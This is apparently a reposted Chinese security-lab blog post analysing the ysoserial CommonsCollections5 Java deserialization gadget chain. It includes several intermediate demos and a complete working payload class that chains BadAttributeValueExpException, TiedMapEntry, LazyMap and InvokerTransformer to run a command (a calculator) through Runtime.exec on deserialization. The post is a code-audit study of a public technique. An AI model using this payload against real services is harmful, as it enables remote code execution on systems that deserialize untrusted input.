“
点击蓝字 关注我们
日期:2022-03-21
作者:ICDAT
介绍:这篇文章主要是对之前
ysoserial CommonsCollections 5
反序列化(一)的分析补充。
0x00 前言
之前我们在ysoserial CommonsCollections 5
反序列化分析(一)分析了如何通过InvokerTransformer
、ConstantTransformer
、ChainedTransformer
三个方法来实现利用java
本身的类来实现run.getRuntime.exec()
执行命令。
这是反序列链利用中的重要的一环,今天我们分析另一个环节,找到嵌入命令执行代码的载体,组成一条完整的利用链。
要想找到一条链,我们需要知道链的头和尾,我们知道反序列链的头是ObjectInputStream
类的readObject
方法,经过上篇文章的分析,我们的尾可以从Runtime.exec()
变换成ChainedTransformer.transform()
利用链简化如下:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
0x01 readObject
首先来了解一下readObject
方法:
readObject() 方法是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
同时readObject() 是可以重写的,可以定制反序列化的一些行为。
根据上述的理解,对于一个简单的存在反序列化漏洞的demo
,我们可以这么写,编写一个Person
类,实现Serializable
接口,重写readObject
方法,直接弹出计算器。
package payload;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
public String name;
public Person(){
}
public Person(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String toString() {
return "Person{" +
"name='" + name + ''' +
'}';
}
//重写readObject方法
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();//执行默认的readObject方法
//编写弹窗语句
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
然后我们在demo1
中反序列化触发:
package demos;
import payload.Person;
import java.io.*;
public class demo1{
public static void main(String[] args) {
Person test = new Person();
test.setName("666");
serialize(test);
deserialize();
}
public static void serialize(Object obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}
当然真实的代码里,没有这么写的,但是给我们的思路是从重写readObject
的方法的类中找可以通过一系列的代码操作执行ChainedTransformer.transform()
。
0x02 LazyMap
org.apache.commons.collections.map.LazyMap
类实现了Map
和Serializable
接口。成员变量类型为Transformer
。
get
方法在key
值不存在的时候调用了transform
方法。decorate
方法可以创建一个LazyMap
对象。ChainedTransformer
也实现了Transformer
,这里可以传入一个map
对象和Transformer
对象。那么payload
可以改写一下。package demos;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class lazymapDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
lazyMap.get("1");
}
}
我们最终的目的是在调用readObject
的过程中自动的执行相关代码,改写的payload
没有反序列化的过程,所以这么写肯定是不行的,但是我们把这个流程又简化了,可以去寻找代码调用LazyMap.get()
方法的。
0x03 TiedMapEntry
org.apache.commons.collections.keyvalue.TiedMapEntry
类,实现了Serializable
。成员变量类型为Map
,getValue
方法调用了map.get
方法。
toString
方法调用了getValue
方法。LazyMap
对象,调用toString
方法或者getValue
方法就调用了LazyMap.get()
方法。按照这个逻辑,我们可以再修改一下代码。package demos;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class tiedMaoDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, 123);
entry.toString();
}
}
如果对这段代码进行调试,就会发现存在一个问题,它在TiedMapEntry entry = new TiedMapEntry(lazyMap, 123);
处就弹出了计算器,在调用toString()
方法后反而没有弹窗!
如果删除entry.toString();
,不调试直接运行这段代码,就会发现不会弹窗。如果单步调试,会发现在TiedMapEntry entry = new TiedMapEntry(lazyMap, 123);
结束后进行了弹窗。
这个问题,是因为idea
在本地调试的时候,调试器会在下面调用一些toString
之类的方法。而TiedMapEntry.toString()
正是可以执行计算器弹窗的。
我们发现还是没有找到在readObject方
法中调用的,所以这一波还是留存简化,去找代码中调用TiedMapEntry.toString()
的readObject
的类。
0x04 BadAttributeValueExpException
javax.management.BadAttributeValueExpException
类,其readObject
方法中,调用了toString
方法。
valObj
是通过ObjectInputStream.GetField.get()
方法获取反序列字段中val
的值,valObj
不为空且System.getSecurityManager()
为null
的情况下,对BadAttributeValueExpException
类对象进行反序列化的时候会调用valObj.toString
方法。BadAttributeValueExpException
的成员变量和构造方法。val
为私有成员变量,且构造方法中val
不是null
会调用本身类的val.toString
方法。那么我们需要new
一个null
的BadAttributeValueExpException
类对象,然后传入TiedMapEntry
类对象。java
可以通过反射来设置私有变量,如下列代码所示,设置Person
类的私有成员变量age
的值为12
。package demos;
import payload.Person;
import java.lang.reflect.Field;
public class privateDemo {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
Person p = new Person();
Field age = p.getClass().getDeclaredField("age");
age.setAccessible(true);
age.set(p,12);
System.out.println(p.getAge());
}
}
以此类推,设置BadAttributeValueExpException
类对象的val
的值为TiedMapEntry
对象。
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
然后对BadAttributeValueExpException
类对象进行序列化,反序列化的时候,会调用BadAttributeValueExpException
类的readObject
方法,进而调用TiedMapEntry.toString()
,然后调用LazyMap.get()
,接着调用ChainedTransformer.transform()
,进而实现runtime.getRuntime.exec()
执行命令。
完整的payload
代码如下:
package payload;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class demo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
serialize(badAttributeValueExpException);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
完整的利用链:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
0x05 总结
其实感觉一路分析下来很简单的,但是毕竟是站在别人的肩膀上,跟着原有的payload
才能顺利的一步步的跟进,后续还需进行学习。
1月21日
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(鸿鹄实验室):『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论